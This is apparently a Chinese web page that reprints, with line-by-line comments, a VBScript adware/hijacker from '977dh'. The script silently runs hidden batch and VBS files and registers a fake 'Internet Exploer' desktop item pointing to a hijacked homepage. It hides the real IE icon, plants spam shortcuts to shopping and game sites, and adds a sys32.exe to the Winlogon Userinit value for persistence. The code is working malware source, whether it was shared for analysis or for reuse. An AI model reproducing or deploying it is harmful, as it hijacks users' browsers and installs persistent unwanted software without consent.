977dh用vbs通过wsh创建桌面快捷方式，快速启动，修改ie主页的恶意代码 ...

Dim WSHShell

Set WshShell = WScript.CreateObject("WScript.Shell")   '获取一切脚本的开始

strDesktop = WshShell.SpecialFolders("Desktop") :        '特殊文件夹“桌面”

Favorites = WshShell.SpecialFolders("Favorites") :        '特殊文件夹“收藏夹”

on error resume next

strWinDir = WshShell.ExpandEnvironmentStrings("%ProgramFiles%")        '得到programfile路径

createobject("wscript.shell").run """"&strWinDir&"\systemfiles\3.bat""",0  '运行programfiles/systemfiles/3.bat,隐藏窗口，激活令一窗口

Rem

iescc=strWinDir&"\Internet Explorer\iexplore.exe"                '得到ie的路径

ssd="粘贴"

winds = WshShell.ExpandEnvironmentStrings("%SystemRoot%")        '获取windows文件夹

WSHShell.regwrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8E}\", "Internet Exploer"

WSHShell.regwrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8E}\DefaultIcon\", iescc

WSHShell.regwrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8E}\Shell\",""

WSHShell.regwrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8E}\Shell\D\", "删除(&D)"

WSHShell.regwrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8E}\Shell\D\Command\", "Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl"

WSHShell.regwrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8E}\Shell\Open\", "我的首页"

WSHShell.regwrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8E}\Shell\"&ssd&"\", ssd

WSHShell.regwrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8E}\Shell\"&ssd&"\Command\", "Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl"

WSHShell.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{86AEFBE8-763F-0647-899C-A93278894D8E}""\", "Internet Exploer"

WSHShell.regwrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8E}\ShellFolder\",""

Rem 把那些垃圾写入桌面

Set oShellLink = WshShell.CreateShortcut(strDesktop & "\淘宝网今日打折特价区.lnk")   '保存路径

oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标            

oShellLink.Arguments = "http://www.223224.com/taobao/?desk" :'参数

oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化

oShellLink.IconLocation = "%ProgramFiles%\systemfiles\taobao.ico, 0" : '图标

oShellLink.Description = "" : '备注

oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置

oShellLink.Save : '创建保存快捷方式

WSHShell.regwrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8E}\ShellFolder\Attributes",10,"REG_DWORD"

WSHShell.regwrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8E}\Shell\Open\Command\", iescc&" http://www.977dh.com/?zol"

rem 以下把那些垃圾快捷方式写入 快速启动

Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"&"\超级好玩小游戏.lnk")

oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标

oShellLink1.Arguments = "http://www.45575.com/?desk" :'程数

oShellLink1.WindowStyle = 1 :'参数1默认化

oShellLink1.IconLocation = "%ProgramFiles%\systemfiles\game.ico, 0" : '图标

oShellLink1.Description = "" : '备注

oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置

oShellLink1.Save : '创建保存快捷方式

'=========

createobject("wscript.shell").run """"&strWinDir&"\systemfiles\3.vbs""",0

Rem  桌面上隐藏ie

RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}"

RegPath1="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}"

Type_Name="REG_DWORD"

Key_Data=1

WshShell.RegWrite RegPath,Key_Data,Type_Name

WshShell.RegWrite RegPath1,Key_Data,Type_Name

Rem 重新刷新桌面

Set WSHShell = WScript.CreateObject("WScript.Shell")

strDesktop = WSHShell.SpecialFolders("Desktop")

WSHShell.AppActivate strDesktop

WSHShell.SendKeys "{F5}"

Rem 让病毒随机启动启动

WSHShell.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",winds&"\system32\userinit.exe,"&strWinDir&"\systemfiles\sys32.exe"

wscript.quit